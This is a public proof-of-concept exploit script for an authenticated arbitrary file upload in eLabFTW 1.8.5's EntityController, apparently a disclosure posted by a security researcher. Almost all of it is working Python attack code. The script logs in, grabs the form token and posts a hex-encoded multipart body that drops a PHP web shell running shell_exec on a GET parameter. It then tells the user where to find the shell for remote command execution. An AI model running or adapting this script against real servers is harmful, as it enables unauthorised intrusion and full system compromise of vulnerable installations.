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# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE # Date: 5/18/19 # Exploit Author: liquidsky (JMcPeters) # Vulnerable Software : eLabFTW 1.8.5 # Vendor Homepage : https://www.elabftw.net/ # Version : 1.8.5 # Software Link : https://github.com/elabftw/elabftw # Tested On : Linux / PHP Version 7.0.33 / Default installation (Softaculous) # Author Site : http://incidentsecurity.com | https://github.com/fuzzlove # # Greetz : wetw0rk, offsec ^^ # # Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads via the /app/controllers/EntityController.php component. # This may result in remote command execution. An attacker can use a user account to fully compromise the system using a POST request. # This will allow for PHP files to be written to the web root, and for code to execute on the remote server. # # Notes: Once this is done a php shell will drop at https://[targetsite]/[elabftw directory]/uploads/[random 2 alphanum]/[random long alphanumeric].php5?e=whoami # You will have to visit the uploads directory on the site to see what the name is. However there is no protection against directory listing. # So this can be done by an attacker remotely. #!/usr/bin/env python import requests from bs4 import BeautifulSoup as bs4 requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) import sys import time print "+-------------------------------------------------------------+" print print "- eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE" print print "-Discovery / PoC by liquidsky (JMcPeters) ^^" print print "+-------------------------------------------------------------+" try: target = sys.argv[1] email = sys.argv[2] password = sys.argv[3] directory = sys.argv[4] except IndexError: print "- Usage: %s <target> <email> <password> <directory>" % sys.argv[0] print "- Example: %s incidentsecurity.com user@email.com mypassword elabftw" % sys.argv[0] sys.exit() proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} # The payload to send data = "" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37" data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39" data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a" data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69" data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61" data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22" data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35" data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36" data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65" data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a" data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d" data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31" data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31" data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f" data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69" data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20" data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a" data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31" data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31" data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f" data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69" data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20" data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69" data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68" data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79" data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e" data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70" data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65" data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20" data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36" data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31" data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a" s = requests.Session() print "[*] Visiting eLabFTW Site" r = s.get('https://' + target + '/' + directory + '/login.php',verify=False) print "[x]" # Grabbing token html_bytes = r.text soup = bs4(html_bytes, 'lxml') token = soup.find('input', {'name':'formkey'})['value'] values = {'email': email, 'password': password, 'formkey': token,} time.sleep(2) print "[*] Logging in to eLabFTW" r = s.post('https://' + target + '/' + directory + '/app/controllers/LoginController.php', data=values, verify=False) print "[x] Logged in :)" time.sleep(2) sessionId = s.cookies['PHPSESSID'] headers = { #POST /elabftw/app/controllers/EntityController.php HTTP/1.1 #Host: incidentsecurity.com "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "application/json", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", #Referer: https://incidentsecurity.com "Cache-Control": "no-cache", "X-Requested-With": "XMLHttpRequest", "Content-Length": "588", "Content-Type": "multipart/form-data; boundary=---------------------------72167598110874594111630395077", "Connection": "close", "Cookie": "PHPSESSID=" + sessionId + ";" + "token=" + token } print "[*] Sending payload..." r = s.post('https://' + target + '/' + directory + '/app/controllers/EntityController.php',verify=False, headers=headers, data=data) print "[x] Payload sent" print print "Now check https://%s/%s/uploads" % (target, directory) print "Your php shell will be there under a random name (.php5)" print print "i.e https://[vulnerable site]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami" |